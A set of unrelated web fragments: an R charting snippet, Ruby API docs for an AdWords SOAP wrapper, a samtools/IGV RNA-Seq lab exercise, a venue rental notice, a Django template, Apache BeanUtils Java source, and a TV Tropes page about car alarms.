enableMouseWheelZoom = TRUE,
enableDoubleClickZoom = TRUE
) |>
hc_credits(enabled = TRUE,
text = last_updated,
position = list(align = "left", x = 10, y = -5))
frameWidget(widget, width="100%", height="40rem")
Aside from drilling into other categories of data here and checking against other data sets, I’ll also be looking at various forecast models and lag indicators. There will also be drill down into national and regional level data. In any case, as the story continues to unfold we should all brace for a very dark winter.


Wrapper class for the v13 SiteSuggestion service. This class is automatically generated.
| [R] | api | Holds the AdWords::API object to which the wrapper belongs |
Constructor for SiteSuggestionServiceWrapper.
Args:
- driver: SOAP::RPC::Driver object with the remote SOAP methods for this service
- api: the AdWords::API object to which the wrapper belongs
Source: show
# File lib/adwords4r/v13/SiteSuggestionServiceWrapper.rb, line 25 def initialize(driver, api) @driver = driver @api = api end
Calls the getSitesByCategoryName method of the SiteSuggestion service. Check the online documentation for this method.
Args:
- categoryName: SOAP::SOAPString
- targeting: AdWords::V13::SiteSuggestionService::LanguageGeoTargeting
Returns:
- getSitesByCategoryNameReturn: SOAP::SOAPArray of AdWords::V13::SiteSuggestionService::SiteSuggestion
Raises: Error::ApiError (or a subclass thereof) if a SOAP fault occurs.
Source: show
# File lib/adwords4r/v13/SiteSuggestionServiceWrapper.rb, line 43 def getSitesByCategoryName(categoryName, targeting) begin AdWords::Service.validate_param('categoryName', categoryName, SOAP::SOAPString) AdWords::Service.validate_param('targeting', targeting, AdWords::V13::SiteSuggestionService::LanguageGeoTargeting) # Construct request object and make API call obj = AdWords::V13::SiteSuggestionService::GetSitesByCategoryName.new(categoryName, targeting) return @driver.getSitesByCategoryName(obj) rescue SOAP::FaultError => fault raise(AdWords::Error::create_specific_api_error(fault), "getSitesByCategoryName Call Failed: " + fault.faultstring.to_s, caller) end end
Calls the getSitesByDemographics method of the SiteSuggestion service. Check the online documentation for this method.
Args:
- demo: AdWords::V13::SiteSuggestionService::DemographicsTarget
- targeting: AdWords::V13::SiteSuggestionService::LanguageGeoTargeting
Returns:
- getSitesByDemographicsReturn: SOAP::SOAPArray of AdWords::V13::SiteSuggestionService::SiteSuggestion
Raises: Error::ApiError (or a subclass thereof) if a SOAP fault occurs.
Source: show
# File lib/adwords4r/v13/SiteSuggestionServiceWrapper.rb, line 71 def getSitesByDemographics(demo, targeting) begin AdWords::Service.validate_param('demo', demo, AdWords::V13::SiteSuggestionService::DemographicsTarget) AdWords::Service.validate_param('targeting', targeting, AdWords::V13::SiteSuggestionService::LanguageGeoTargeting) # Construct request object and make API call obj = AdWords::V13::SiteSuggestionService::GetSitesByDemographics.new(demo, targeting) return @driver.getSitesByDemographics(obj) rescue SOAP::FaultError => fault raise(AdWords::Error::create_specific_api_error(fault), "getSitesByDemographics Call Failed: " + fault.faultstring.to_s, caller) end end
Calls the getSitesByTopics method of the SiteSuggestion service. Check the online documentation for this method.
Args:
- topics: SOAP::SOAPArray of SOAP::SOAPString
- targeting: AdWords::V13::SiteSuggestionService::LanguageGeoTargeting
Returns:
- getSitesByTopicsReturn: SOAP::SOAPArray of AdWords::V13::SiteSuggestionService::SiteSuggestion
Raises: Error::ApiError (or a subclass thereof) if a SOAP fault occurs.
Source: show
# File lib/adwords4r/v13/SiteSuggestionServiceWrapper.rb, line 99 def getSitesByTopics(topics, targeting) begin AdWords::Service.validate_param('topics', topics, SOAP::SOAPArray) AdWords::Service.validate_param('targeting', targeting, AdWords::V13::SiteSuggestionService::LanguageGeoTargeting) # Construct request object and make API call obj = AdWords::V13::SiteSuggestionService::GetSitesByTopics.new(topics, targeting) return @driver.getSitesByTopics(obj) rescue SOAP::FaultError => fault raise(AdWords::Error::create_specific_api_error(fault), "getSitesByTopics Call Failed: " + fault.faultstring.to_s, caller) end end
Calls the getSitesByUrls method of the SiteSuggestion service. Check the online documentation for this method.
Args:
- urls: SOAP::SOAPArray of SOAP::SOAPString
- targeting: AdWords::V13::SiteSuggestionService::LanguageGeoTargeting
Returns:
- getSitesByUrlsReturn: SOAP::SOAPArray of AdWords::V13::SiteSuggestionService::SiteSuggestion
Raises: Error::ApiError (or a subclass thereof) if a SOAP fault occurs.
Source: show
# File lib/adwords4r/v13/SiteSuggestionServiceWrapper.rb, line 127 def getSitesByUrls(urls, targeting) begin AdWords::Service.validate_param('urls', urls, SOAP::SOAPArray) AdWords::Service.validate_param('targeting', targeting, AdWords::V13::SiteSuggestionService::LanguageGeoTargeting) # Construct request object and make API call obj = AdWords::V13::SiteSuggestionService::GetSitesByUrls.new(urls, targeting) return @driver.getSitesByUrls(obj) rescue SOAP::FaultError => fault raise(AdWords::Error::create_specific_api_error(fault), "getSitesByUrls Call Failed: " + fault.faultstring.to_s, caller) end end


In the following folder you wil find mapped RNA-Seq data from Illumina’s Human BodyMap 2.0 project. This two datasets in particular contain reads from brain and heart tissues.
cd /home/participant/cambridge_mda14/visualization/example_1
samtools
to index the bam file:samtools index heart.bodyMap.bam
samtools index brain.bodyMap.bam
igv
File
–> Load from file...
Select heart.bodyMap.bam and brain.bodyMap.bamReads are only on chromosome 12 from 98Mbp to 100Mbp. Remember that 1Mbp = 1000000bp.
So, reads will be around 12:98000000-100000000
.
Expanded
Is IKBIP gene expressed in heart and brain tissues?
Sashimi Plot
.-
Load and look at the SNP track: File
–> Load from server
–> Annotations
–> Variants and Repeats
–> dbSNP 1.3.7


The Heritage Room at Bachman's on Lyndale may be just the place to hold your next event. The space accommodates 110 people comfortably, and can be easily reconfigured, making it the perfect setting for parties, business and organization meetings, conferences, seminars, and more.
Rates vary depending on event type and duration. Please call or email for details.
Rates vary depending on event type and duration. Please call or email for details.


{% extends "layout.html" %} {% load humanize %} {% block title %} Market {{ guess.market.slug }} submitted {% endblock title %} {% block layout-content %}
You submitted {{ guess.value }} for the market
{{ guess.market.slug }}
which will close in {{ guess.market.end_date|naturaltime }}.


001 /* 002 * Licensed to the Apache Software Foundation (ASF) under one or more 003 * contributor license agreements. See the NOTICE file distributed with 004 * this work for additional information regarding copyright ownership. 005 * The ASF licenses this file to You under the Apache License, Version 2.0 006 * (the "License"); you may not use this file except in compliance with 007 * the License. You may obtain a copy of the License at 008 * 009 * http://www.apache.org/licenses/LICENSE-2.0 010 * 011 * Unless required by applicable law or agreed to in writing, software 012 * distributed under the License is distributed on an "AS IS" BASIS, 013 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 014 * See the License for the specific language governing permissions and 015 * limitations under the License. 016 */ 017 018 package org.apache.commons.beanutils; 019 020 import java.lang.reflect.InvocationTargetException; 021 022 /** 023 *
Implementation of DynaBean that wraps a standard JavaBean 024 * instance, so that DynaBean APIs can be used to access its properties, 025 * though this implementation allows type conversion to occur when properties are set. 026 * This means that (say) Strings can be passed in as values in setter methods and 027 * this DynaBean will convert them to the correct primitive data types.
 028 * 029 *
IMPLEMENTATION NOTE - This implementation does not 030 * support the contains() and remove() methods.
 031 * 032 * @author James Strachan 033 * @version $Revision: 926529 $ $Date: 2010-03-23 11:44:24 +0000 (Tue, 23 Mar 2010) $ 034 */ 035 036 public class ConvertingWrapDynaBean extends WrapDynaBean { 037 038 039 040 /** 041 * Construct a new DynaBean associated with the specified 042 * JavaBean instance. 043 * 044 * @param instance JavaBean instance to be wrapped 045 */ 046 public ConvertingWrapDynaBean(Object instance) { 047 048 super(instance); 049 050 } 051 052 053 /** 054 * Set the value of the property with the specified name 055 * performing any type conversions if necessary. So this method 056 * can accept String values for primitive numeric data types for example. 057 * 058 * @param name Name of the property whose value is to be set 059 * @param value Value to which this property is to be set 060 * 061 * @exception IllegalArgumentException if there are any problems 062 * copying the property. 063 */ 064 public void set(String name, Object value) { 065 066 try { 067 BeanUtils.copyProperty(instance, name, value); 068 } catch (InvocationTargetException ite) { 069 Throwable cause = ite.getTargetException(); 070 throw new IllegalArgumentException 071 ("Error setting property '" + name + 072 "' nested exception - " + cause); 073 } catch (Throwable t) { 074 IllegalArgumentException iae = new IllegalArgumentException 075 ("Error setting property '" + name + 076 "', exception - " + t); 077 BeanUtils.initCause(iae, t); 078 throw iae; 079 } 080 081 } 082 }


--- layout: default title: The Comcast Financial and Social Network ---
This project was last updated on 25 February 2018


When something big, loud, shaky, or forceful happens, we may hear car alarms going off outside or offscreen to indicate the magnitude of this event. If it's really big, it'll set off all the car alarms in the area.
Similar to Disturbed Doves, but not (usually) That Poor Cat.
Loud sounds can indeed shake a car enough to set off the alarm, making this Truth in Television.
Not to be confused with extreme damage to a car, although sometimes they overlap where the extreme damage also causes the car alarm to go off.
Not to be confused with The Alleged Car, which is a car with unreliable building qualities or bad safety features.
Examples
- In the 2008 The Incredible Hulk movie this happens during the fight between the Hulk and the Abomination.
- Cloverfield: the first sign of the monster is a tremor causing car alarms to go off.
- In Iron Man 2 a couple of car alarms go off as Iron Man and War Machine fly noisily through a parking lot; half a second later Ivan Vanko's air capable Hammer Drones pass through making even more noise, setting almost all the cars off.
- In Tremors, the Gummers' SUV is destroyed by a Graboid after its burrowing disturbs the ground underneath the vehicle and sets off its car alarm.
- Those poor bikes in Mystery Team.
- In Highlander the first quickening sets off several car alarms.
- The Iron Giant has the rare case of the horn going off due to direct contact with the vehicle. Basically, the Iron Giant, when he and Hogarth discover the junkyard that Dean works at, starts eating everything in there. It then eats a car... which hadn't had its horn removed yet, causing it to go off.
- Pacific Rim makes a running gag out of this, as at least one car alarm gets set off more or less every single time a kaiju or jaeger steps on a road.
- Spider-Man 2: Peter Parker loses his powers and attempts to jump to another building to see if he got them back and at first it looks like he's going to make it. But he doesn't and falls on top of a car. He then slowly gets back up and waddles away trying to support himself on another car and activates the alarm by barely touching it.
- Film/2012: The tremor and fissure opening at the super market causes many car alarms to go off.
- In a rare literature example, in Animorphs Jake sent Marco to cause a disturbance and every car had a car alarm. Really, really much funnier in text.
- Harry Turtledove's The Case of the Toxic Spelldump creates a Magitek version, the sylphs that power magic carpets are supposed to scream if the carpet is stolen. Instead, they scream incessantly at the slightest provocation.
- So, just like real car alarms...
- In the Torchwood episode "Exit Wounds", the city wide bombing of Cardiff by Capt. John Hart sets off these. Later in Children of Earth: "Day One" when the government blows up the Hub this happens.
- In the third season finale of Criminal Minds, the episode ends with nearby car alarms blaring after an SUV explodes. The catch? One of the main characters (the audience is not told who until the season 4 premiere) is about to get into the SUV when it explodes.
- Top Gear (UK):
- In the second US special, Clarkson and Hammond set off a whole line of parked cars in Vegas by revving the engines of their muscle cars as loudly as possible. Unfortunately for them, this quickly drew the attention of the local authorities.
- In the India special, Clarkson makes a massive homebrewed firework which he plans to shoot off at a party. When he does, it ends up being so strong that it sets off more than a dozen car alarms.
- One episode of Pimp My Ride featured one car whose alarm could not stop going off.
- Supernatural. In "Mommy Dearest" Castiel does this while wiping out a diner full of demons with a blast of light.
- Power Rangers Samurai: Clash of the Red Rangers: When the Grinders attack a highway bridge, the carnage causes this. The first glimpse of Scott is his gloved hand reaching in and turning the alarm off.
- Exploited on Monk.  He's a teacher who's busy proctoring an exam at that moment. He actually murdered her and left her body in a position that she would fall onto his car during the exam. He knew the alarm would establish an alibi for her death.
- At one point in the Video Game Awards 2011 exclusive trailer for Metal Gear Rising: Revengeance, Raiden kicks an enemy soldier into a parked black car hard enough to set off the car alarm and nearly flips it over. Raiden then remarks shortly afterwards "too easy!" before cutting him up.
- If a stationary vehicle gets clipped by a stray bullet in Freedom Fighters, the alarm will go off. Two or three more, and it explodes.
- Left 4 Dead includes cars on some maps with active alarms that will go off if shot (with convenient flashing lights to let you tell them apart from the safe alarmless cars). Since the game takes place in the middle of a Zombie Apocalypse, setting one off is very bad news.
- In the prologue of Bayonetta, Bayonetta lands on her informant Enzo's car with enough force behind the landing to do massive amount of damage to it.  Bayonetta can also pick up parked cars with her wicked weave and throw them at enemies, to say nothing of Route 666 and all the vehicular chaos you can cause during it.
- Discussed in "Why obnoxiously loud car alarms aren't as common today" from the YouTube channel Cheddar. It explains why car alarms used to be sensitive enough to cause this trope, and aren't as sensitive nowadays.
- In the The Simpsons episode "A Star is Burns", Jay outdoes Homer with a foghorn burp that sets off car alarms.
- In Pelswick, Gram Gram was said to snore so loud that it set off all the car alarms on the street.
- Anyone with an aftermarket car stereo knows how easy it is to set off entire blocks just by driving down the street with the bass turned up.
- Some cars have exhausts loud enough to set off car alarms when they rev. Here's an example.
- Ditto loud claps of thunder.
- And fireworks.
- Whenever there's an earthquake, it doesn't have to be a huge one, just one that slightly shakes the house enough to make dishes fall.
- Older car alarms were notorious for being extremely sensitive to motion/touch.
- Go to a Civil War Reenactment, and wait for the cannons to start firing. You will suddenly hear a dozen honking, beeping anachronisms.
- Military bases tend to have large ceremonies involving cannon fire for various occasions. It didn't take long for most bases to start issuing notices of said ceremonies and asking everyone to disable their alarms before the ceremony was scheduled to begin.
- Less triumphant than the previous examples, but marching band competitions tend to do this, especially if the competitors are heavy on the percussion.
- Airshows involving military aircraft with afterburners will almost certainly result in a few cars wailing nearby.
- Particularly common offenders were any American aircraft designed with the capacity to climb to 40,000 feet at the speed of now. It's not uncommon for entire parking lots to go off when an F-15 or F-22 rockets off the runway due to the very loud engines rattling everything in the area. About the only aircraft that won't do this is the A-10... However this is a feature, not a bug.
- Several car alarms were set off by the Chelyabinsk meteor explosion in 2013 as can be seen here.